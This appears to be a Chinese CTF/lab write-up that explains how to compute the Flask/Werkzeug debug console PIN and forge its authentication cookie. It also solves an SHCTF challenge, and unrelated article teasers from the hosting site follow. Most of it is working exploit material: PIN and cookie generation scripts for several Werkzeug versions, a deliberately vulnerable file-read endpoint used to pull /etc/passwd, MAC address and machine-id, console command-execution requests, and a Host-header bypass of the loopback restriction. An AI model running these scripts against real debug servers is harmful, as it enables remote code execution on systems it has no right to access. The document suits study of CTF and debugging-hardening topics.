新版flask pin码计算

Python debug pin码计算

需开启debug

from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():return "Hello World"
app.run(debug=True)

/console路由填入上方控制台的 PIN 码即可执行 Python 命令

Flask 的 PIN 码计算仅与 werkzeug 的 debug 模块有关。

werkzeug 低版本使用 MD5,高版本使用 SHA1
werkzeug1.0.x 低版本
werkzeug2.1.x 高版本 一般是python3.8以上在用

pin码主要由六个参数构成

probably_public_bits

  1. username:执行代码时的用户名,读/etc/passwd这个文件,然后猜UID:1000以上一般为人为创建
  2. appname:getattr(app, "__name__", app.__class__.__name__),固定值,默认是 Flask
  3. modname:getattr(app, "module", t.cast(object, app).class.module),获取固定值,默认是 flask.app
  4. moddir:getattr(mod, "__file__", None),即 app.py 文件所在路径,一般可以通过查看debug报错信息获得

private_bits

  1. uuid:str(uuid.getnode()),即电脑上的 MAC 地址,也可以通过读取 /sys/class/net/eth0/address 获取,一般得到的是一串十六进制数,将其中的横杠去掉然后转成十进制,例如:00:16:3e:03:8f:39 \=> 95529701177
  2. machine_id:get_machine_id(),首先读取 /etc/machine-id(docker不读它,即使有),如果有值则不读取 /proc/sys/kernel/random/boot_id,否则读取该文件。接着读取 /proc/self/cgroup,取第一行的最后一个斜杠 / 后面的所有字符串,与上面读到的值拼接起来,最后得到 machine_id

两个版本的pin码计算脚本

(werkzeug1.0.x)

import hashlib
from itertools import chainprobably_public_bits = ['root'#username,通过/etc/passwd'flask.app',#modname,默认值'Flask',# 默认值'/usr/local/lib/python3.7/site-packages/flask/app.py'# moddir,通过报错获得
]private_bits = ['25214234362297',  # mac十进制值 /sys/class/net/ens0/address'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'  # 低版本直接/etc/machine-id
]# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

(werkzeug>\=2.0.x)

import hashlib
from itertools import chain# 可能是公开的信息部分
probably_public_bits = ['root',  # /etc/passwd'flask.app',  # 默认值'Flask',  # 默认值'/usr/local/lib/python3.8/site-packages/flask/app.py'  # moddir,报错得到
]# 私有信息部分
private_bits = ['2485377568585',  # /sys/class/net/eth0/address 十进制'653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2'# machine-id部分
]# 创建哈希对象
h = hashlib.sha1()# 迭代可能公开和私有的信息进行哈希计算
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)# 加盐处理
h.update(b'cookiesalt')# 生成 cookie 名称
cookie_name = '__wzd' + h.hexdigest()[:20]
print(cookie_name)# 生成 pin 码
num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]# 格式化 pin 码
rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

计算cookie

流程

当我们无法获取返回的cookie,也无法使用/console进入debug的控制台的时候就需要我们手算cookie了

起一个docker看一下发pin码然后执行命令的流程

坑点:大于**Werkzeug==3.0.3​ 版本仅支持回环地址127.0.0.1访问/console**(记住,后面要考)

我们install Werkzeug==3.0.1版本

###app.py
from flask import Flask, requestapp = Flask(__name__)@app.route("/")
def index():return "Hello World"@app.route("/read", methods=["GET"])
def read_file():file_path = request.args.get("path")try:with open(file_path, "r") as f:content = f.read()return contentexcept Exception :raise FileNotFoundErrorif __name__ == "__main__":app.run(host="0.0.0.0", port=5000, debug=True, use_reloader=False)###Dockerfile
# 使用 Python 3.8 作为基础镜像
FROM python:3.8# 设置工作目录
WORKDIR /app# 复制当前目录的内容到工作目录中
COPY . .# 安装 Flask
RUN pip install --no-cache-dir -i https://pypi.tuna.tsinghua.edu.cn/simple flask Werkzeug==3.0.1# 暴露 Flask 运行的端口
EXPOSE 5000# 运行 Flask 应用
CMD ["python", "app.py"]
###docker-compose.yml
version: '3.8'  # 使用的 docker-compose 文件版本services:flask-app:  # 服务名称build: .  # 使用当前目录下的 Dockerfile 构建镜像ports:- "5000:5000"  # 映射端口environment:- FLASK_ENV=development  # 设置 Flask 环境变量为开发模式

提交pin码时的请求

GET /console?__debugger__=yes&cmd=pinauth&pin=1&s=3YTBnR7SAoHOJWUIFhVI HTTP/1.1

可以看到这里和s有关

提交正确的pin码后

会返回

{"auth": true, "exhausted": false}

并设置cookie

Set-Cookie: __wzd2d764a6d4e16687fcf23=1728990230|dee0430f742b; HttpOnly; Path=/;

之后执行命令时需带着这个cookie才可执行

注意这里的请求多了frm即frame当前帧

GET /console?&__debugger__=yes&cmd=print(%27mixian%27)&frm=0&s=ZfYmlGiajkioMsAqVOFQ HTTP/1.1

总结一下就是Werkzeug会根据s创建cookie用于认证成功提交pin码,然后才可以执行带着frm和cookie的执行命令的请求

所以我们先看一下s怎么获取,访问console路由看源码就行,或者搞一个报错,源码里也有

然后是获取frm,报错后

如果这里没有的话frm就是0

先是get_pin_and_cookie_name函数这里看看cookie的名字

# This information is here to make it harder for an attacker to# guess the cookie name.  They are unlikely to be contained anywhere# within the unauthenticated debug page.private_bits = [str(uuid.getnode()), get_machine_id()]h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)h.update(b"cookiesalt")cookie_name = f"__wzd{h.hexdigest()[:20]}"

cookie_name直接提供6个参数跑出来就行了,没什么好说的

这个注释有点小丑了(bushi)

接下来看cookie的值,找到pin_auth函数

if auth:rv.set_cookie(self.pin_cookie_name,f"{int(time.time())}|{hash_pin(pin)}",httponly=True,samesite="Strict",secure=request.is_secure,

值为int(time.time())}|{hash_pin(pin)

然后是check_pin_trust函数

return (time.time() - PIN_TIME) < int(ts)这里返回true才能完成认证

PIN_TIME是60*60*24*7,ts是我们|前填入的值,要大于time.time()+606024*7

import hashlib
import time# A week
PIN_TIME = 60 * 60 * 24 * 7def hash_pin(pin: str) -> str:return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]print(f"{int(time.time()*2+60 * 60 * 24 * 7)}|{hash_pin('598-725-733')}")

验证

先拿六个参数

报错拿到moddir

读uuid,转十进制

然后跑脚本

import hashlib
from itertools import chain# 可能是公开的信息部分
probably_public_bits = ['root',  # /etc/passwd'flask.app',  # 默认值'Flask',  # 默认值'/usr/local/lib/python3.8/site-packages/flask/app.py'  # moddir,报错得到
]# 私有信息部分
private_bits = ['90520745872463',  # /sys/class/net/eth0/address 十进制'2cfa1ac3-65ab-40ca-a689-714b6a05061047c05f4928028e22cb883a4a0fd380fb692238ab88cbfbf116c0f55a4ef65fc3'# machine-id部分
]# 创建哈希对象
h = hashlib.sha1()# 迭代可能公开和私有的信息进行哈希计算
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)# 加盐处理
h.update(b'cookiesalt')# 生成 cookie 名称
cookie_name = '__wzd' + h.hexdigest()[:20]
print("cookie_name:"+cookie_name)# 生成 pin 码
num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]# 格式化 pin 码
rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint("pin码:"+rv)

拿到

拿s

拿cookie的值

import hashlib
import time# A week
PIN_TIME = 60 * 60 * 24 * 7def hash_pin(pin: str) -> str:return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]print(f"{int(time.time()+10000+60 * 60 * 24 * 7)}|{hash_pin('352-819-671')}")

Werkzeug>3.0.3版本

高于3.0.3版本,仅支持回环地址或localhost

正常访问/console会返回400

Host改为回环地址或者localhost就可以访问了

正常执行命令

SHCTF[Week3] 顰

还是老样子拿参数

这里/proc/self/cgroup为空那就不填它

得到:

cookie_name:__wzd215e2ddd208f26855a0e
pin码:510-466-626
cookie_name值为:1729699932|271328319d5c
s为H3MgUZaZR6tUl3oBAB3b

版本为3.0.4大于3.0.3只能回环地址访问

带上cookie用回环地址访问/console

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/12783.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

比 PyTorch 更快的嵌入Python库:FastEmbed

嵌入生成 已成为自然语言处理&#xff08;NLP&#xff09;中不可或缺的一部分。 无论是智能推荐、文本相似度计算&#xff0c;还是聊天机器人&#xff0c;嵌入技术都扮演着重要角色。然而&#xff0c;我们常常会陷入繁重的库和庞大的模型中&#xff0c;耗时费力。 今天&#…

大模型部署解决方案之TorchServe+vLLM

TorchServe 是PyTorch 中将模型部署到生产环境的一个解决方案。它用HTTP 或HTTPS API 封装模型&#xff0c;可以处理多种任务&#xff0c;包括为部署模型分配workers、负责客户端和服务器之间通信等。 10月份发布的TorchServe 0.12 增加了对GenAI的支持&#xff0c;简化了大语…

博弈论(零和博弈)英文版题解

翻译&#xff1a; 假设我们有一个两人零和游戏&#xff0c;每个玩家有两种行动&#xff0c;行收益矩阵如下&#xff1a; 计算行和列玩家的最小最大最优策略以及游戏的价值。 X Y A a11 a12 B a21 a22 选项&#xff1a; 1. 行玩家&#x…

虚拟现实辅助工程技术应用于员工培训

你还在使用传统的入职方法吗&#xff0c;比如印刷指南、演示、课堂培训、讲座等等&#xff1f;是时候改变了。虚拟现实辅助工程技术提供了一个机会&#xff0c;可以让新员工的入职过程更高效、更有趣&#xff0c;也更令人兴奋。想象一下这样一个场景&#xff0c;新员工可以在第…

【健康警钟】胆已切除,生活调理有“胆”更精彩!必看指南!

在现代社会&#xff0c;由于生活习惯、饮食习惯等多种因素&#xff0c;一些人可能不得不面对胆囊切除手术。虽然手术能够有效解决胆囊结石、胆囊炎等问题&#xff0c;但胆囊作为人体的一部分&#xff0c;其功能的丧失无疑会对生活带来一定影响。那么&#xff0c;胆被割了之后&a…

windows NGIMX配置WebSocket反向代理

linux下 据说nginx是要有 stream的模块 Linux安装Nginx步骤之后续&#xff0c;带stream模块-CSDN博客 Nginx从1.3.13版本就开始支持WebSocket linux 下参考如下链接 配置 Nginx 反向代理 WebSocket - 哈喽哈喽111111 - 博客园 (cnblogs.com) SSL的配置参考 【Linux】采用…

三种读取配置文件的方式

在编写JDBC的util包以读取文件时&#xff0c;配置文件的位置会影响其读取方式。当前&#xff0c;默认配置文件直接放置在src文件夹下。 当读取.properties文件代码写法为&#xff1a; Properties props new Properties(); props.load(new FileInputStream("db.propertie…

丹摩征文活动|CogVideoX-2b:从安装到上线,轻松搞定全过程!

CogVideoX-2b&#xff1a;从安装到上线&#xff0c;轻松搞定全过程&#xff01; CogVideoX简介 CogVideoX的推出标志着视频生成技术的一次重大突破。过去&#xff0c;如何在保持高效的同时提升视频质量一直是一个难题&#xff0c;但CogVideoX 通过其先进的3D变分自编码器&…

工位管理优化:Spring Boot企业级系统

3系统分析 3.1可行性分析 通过对本企业级工位管理系统实行的目的初步调查和分析&#xff0c;提出可行性方案并对其一一进行论证。我们在这里主要从技术可行性、经济可行性、操作可行性等方面进行分析。 3.1.1技术可行性 本企业级工位管理系统采用SSM框架&#xff0c;JAVA作为开…

EMQX服务器的搭建,实现本地机和虚拟机之间的MQTT通信(详细教程)

前言 MQTT是一个基于客户端-服务器的消息发布/订阅传输协议。MQTT协议是轻量、简单、开放和易于实现的&#xff0c;这些特点使它适用范围非常广泛。 MQTT协议中有三种身份&#xff1a;发布者&#xff08;Publish&#xff09;、代理&#xff08;Broker&#xff09;&#xff08;…

Unity 热更新 之 一篇文章完全入门AssetBundle

本篇知识来源于unity官方手册以及siki学院的相关教程,链接如下,仅作学习分享 AssetBundle&#xff08;创建打包&#xff09;入门学习(基于Unity2017) - SiKi学院|SiKi学堂 - unity|u3d|虚幻|ue4/5|java|python|人工智能|视频教程|在线课程 目录 0.热更新是什么 1.AssetBundl…

图片怎么去水印?5个简单好用的图片去水印方法分享!

在日常生活中&#xff0c;图片水印的去除需求时常涌现&#xff0c;无论是出于个人兴趣还是工作需求&#xff0c;掌握去水印技巧能让我们更自由地利用图片资源。今天&#xff0c;我们为您精心挑选并介绍五种实用的图片去水印方法&#xff0c;让您轻松上手&#xff0c;即刻提升图…

半导体测试领域CP和KGD的区别

在半导体测试领域&#xff0c;KGD&#xff08;Known Good Die&#xff09;和 CP&#xff08;Chip Probing 或 Chip Test&#xff09;是两个重要的概念&#xff0c;它们分别代表了不同阶段的测试和验证过程。下面详细解释这两者的区别&#xff1a; CP&#xff08;Chip Probing …

人机融合智能中的系统与还原

一、人工智能中的系统与还原 人工智能&#xff08;AI&#xff09;作为现代科技的重要组成部分和应用涉及多个学领域&#xff0c;包括计算机科学、学、神经科学等人工智能的研究中系统的概念至关重要。系统不仅仅是简单的组件集合&#xff0c;更多地体现为各个部分之间的相互作用…

这可能是2024年看过最全最详细的Java面试八股文

前言: 本文收集整理了各大厂常见面试题 N 道&#xff0c;你想要的这里都有内容涵盖&#xff1a;Java、MyBatis、ZooKeeper、Dubbo、Elasticsearch、Memcached、Redis、MySQL、Spring、Spring Boot、Spring Cloud、RabbitMQ、Kafka、Linux 等技术栈&#xff0c;希望大家都能找到…

010_SSH_Sqlserver多媒体技术与应用课程网(学习资料+前台考试)_lwplus87

目 录 摘 要... III Abstract V 第1章 概述... 1 1.1 课题背景... 1 1.2 课题意义... 2 1.3开发工具及技术... 2 1.3.1 MyEclipse. 2 1.3.2 Tomcat 2 1.3.3 SqlServer 3 1.3.4 JSP. 3 1.4国内外现状... 4 第2章 可行性分析及总体设计原则... 5 2.1可行性分析…

免费数字孪生平台打造物流数据可视化大屏,助力消费跑出加速度

在当今快速发展的时代&#xff0c;物流行业已成为连接生产与消费的重要桥梁。2024年&#xff0c;中国物流行业再次刷新纪录&#xff0c;8月13日&#xff0c;我国第1000亿件快递已顺利产生&#xff0c;比2023年提前了71天&#xff0c;这一速度令人惊叹。而在这背后&#xff0c;物…

Navict15 过期处理删除注册表

1.winR 注册表输入regedit 2.搜索输入HKEY_CURRENT_USER\Software\PremiumSoft\Navicat 3.输入HKEY_CURRENT_USER\Software\Classes\CLSID&#xff0c;找到只有一个info的&#xff0c;把包含info的这个文件夹删了。

计算机网络:运输层 —— TCP/IP运输层中的两个重要协议

文章目录 TCP 协议工作方式建立连接&#xff08;三次握手&#xff09;释放连接&#xff08;四次挥手&#xff09; 首部格式 UDP 协议首部格式适用场景 TCP 与 UDP 的对比无连接的UDP和面向连接的TCP对单播、多播和广播的支持情况对应用层报文的处理对数据传输可靠性的支持情况U…

OpenCV4.8 开发实战系列专栏之 13 - 图像翻转(Image Flip)

大家好&#xff0c;欢迎大家学习OpenCV4.8 开发实战专栏&#xff0c;长期更新&#xff0c;不断分享源码。 专栏代码全部基于C 与Python双语演示&#xff0c;专栏答疑群 请联系微信 OpenCVXueTang_Asst 本文关键知识点&#xff1a;图像翻转(Image Flip) 图像翻转的本质像素映…